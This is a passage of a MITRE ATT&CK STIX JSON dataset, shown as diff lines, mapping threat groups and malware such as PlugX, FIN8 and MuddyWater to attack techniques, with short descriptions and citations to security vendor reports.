"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3aacea96-941f-4a1d-8981-36d2a0e62cf3", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used malicious e-mail attachments to lure victims into executing malware.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-09-15T15:44:16.702Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. 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Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a5bc2dd-2132-4af0-9b12-0e781971d96c", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) scanned the \u201cProgram Files\u201d directories for a directory with the string \u201cTotal Security\u201d (the installation path of the \u201c360 Total Security\u201d antivirus tool).(Citation: Cymmetria Patchwork)", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "modified": "2021-11-02T21:07:07.455Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.076Z", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. 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Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8ebab956-4440-4fd7-96ff-8da29e0f0b46", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the registered user and primary owner name via WMI.(Citation: Citizen Lab Stealth Falcon May 2016)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2020-03-17T02:38:48.500Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.073Z", + "external_references": [ + { + "url": "https://citizenlab.org/2016/05/stealth-falcon/", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). 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Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0825b101-deff-45cf-867c-af3ccb233744", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2020-02-18T03:48:53.618Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident", + "description": "Symantec Security Response. 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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--021885d8-90a5-4d70-91de-869783cd57d3", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a .NET tool to dump data from Microsoft Exchange mailboxes.(Citation: NCC Group APT15 Alive and Strong)", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "modified": "2021-03-29T19:54:46.091Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. 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Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732", + "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "modified": "2020-01-24T13:41:32.704Z", + "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.021Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--beda360a-6477-48b9-b7d1-4643d02bc3c9", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002) and procdump64.exe.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "modified": "2021-03-19T13:07:57.549Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. 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(2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--464e688d-b243-4619-a60b-1be6e2d6a827", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is obfuscated using the open source ConfuserEx protector. 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(2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018" + }, + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. 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(2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. 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Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button.(Citation: FireEye FIN6 April 2016)(Citation: Trend Micro FIN6 October 2019)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-10-09T13:28:48.437Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.072Z", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. 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Retrieved September 9, 2020.", + "source_name": "Trend Micro FIN6 October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7", + "description": "If installing itself as a service fails, [Elise](https://attack.mitre.org/software/S0081) instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.(Citation: Lotus Blossom Jun 2015)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-17T23:47:25.755Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. 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Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about the logged on user both locally and for Remote Desktop sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2020-03-17T02:23:04.178Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). 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(2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--042d7190-3210-4303-94b6-b56d5a2b572a", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses a custom UDP protocol to communicate.(Citation: Rancor Unit42 June 2018)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2020-03-19T19:52:53.211Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "description": "Ash, B., et al. (2018, June 26). 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Retrieved June 10, 2020.", + "source_name": "ESET BlackEnergy Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--350e9dad-4dd3-450f-b649-60340710505a", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-12-17T20:15:30.700Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. 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Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b93d69f2-32a2-43a8-9b45-693d82a51c6b", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing audio captures.(Citation: FireEye Periscope March 2018)", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "modified": "2020-03-16T15:39:47.721Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "description": "FireEye. (2018, March 16). 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Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a805a8d5-632c-48df-909d-c3d745652475", + "description": "[BS2005](https://attack.mitre.org/software/S0014) uses Base64 encoding for communication in the message body of an HTTP request.(Citation: Mandiant Operation Ke3chang November 2014)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2021-11-01T21:12:14.698Z", + "source_ref": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "description": "Villeneuve, N., Bennett, J. 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to execute shell commands.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-18T15:43:47.959Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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An Analysis of PlugX Malware. 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Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7bb2d594-36dc-458d-9f9b-8a3df42fac67", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.(Citation: Proofpoint ZeroT Feb 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-17T02:54:39.671Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx", + "description": "Huss, D., et al. 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Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "modified": "2020-03-30T20:17:22.201Z", + "source_ref": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.019Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b997d866-0aef-4ba6-a812-cfa2fccb05af", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to compress files.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2020-04-21T23:09:31.022Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8576db0e-6a7c-40d4-b797-fb0094d5849f", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses cmd.exe to execute netshcommands.(Citation: US-CERT HARDRAIN March 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T02:27:21.804Z", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", + "description": "US-CERT. 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InvisiMole: Surprisingly equipped spyware, undercover since 2013. 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Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--91b22928-d538-4460-a5ff-7a0a5e797430", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)(Citation: Security Affairs Elderwood Sept 2012)", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2021-01-06T19:32:28.685Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. 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Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", + "description": "FireEye Threat Intelligence. (2015, December 1). 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Retrieved December 4, 2015.", + "source_name": "FireEye admin@338" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b4c7e12f-6921-4007-ab15-595969bf9eca", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is written in PowerShell.(Citation: FireEye APT34 Dec 2017)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2020-03-17T02:14:55.871Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", + "description": "Sardiwal, M, et al. (2017, December 7). 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Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b8ebd1a-50ba-463a-b536-3ad8cc5013f8", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to list the processes running on a machine.(Citation: CIRCL PlugX March 2013)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2019-04-19T15:08:15.805Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T18:17:59.270Z", + "external_references": [ + { + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). 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Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + }, + { + "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", + "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", + "source_name": "Check Point APT34 April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e96e17e7-4349-4393-b875-5bab4e8ffa5a", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) gathers the username from the victim\u2019s machine.(Citation: TrendMicro DarkComet Sept 2014)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-06-04T19:40:43.526Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T19:18:28.770Z", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. 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Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--762f22f8-5f47-4c1f-b41b-86984c3e2550", + "description": "[Epic](https://attack.mitre.org/software/S0091) compresses the collected data with bzip2 before sending it to the C2 server.(Citation: Kaspersky Turla Aug 2014)", + "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", + "modified": "2020-03-30T02:09:54.673Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T19:55:47.992Z", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d012dd66-fef4-4714-bb00-55d9dd2861a1", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /svc command to list the services on the system.(Citation: Kaspersky Turla)", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "modified": "2019-07-26T16:10:42.508Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T19:55:48.191Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--468ca76f-cf76-4476-883b-d0743e837df8", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used ports 8060 and 8888 for C2.(Citation: Unit 42 MuddyWater Nov 2017)", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2019-04-22T22:36:52.907Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21674a10-7168-420e-b916-2979a3ee3b5e", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can perform process injection by using a reflective DLL.(Citation: Github Koadic)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-03-16T16:55:03.547Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://github.com/zerosum0x0/koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. 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(2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved 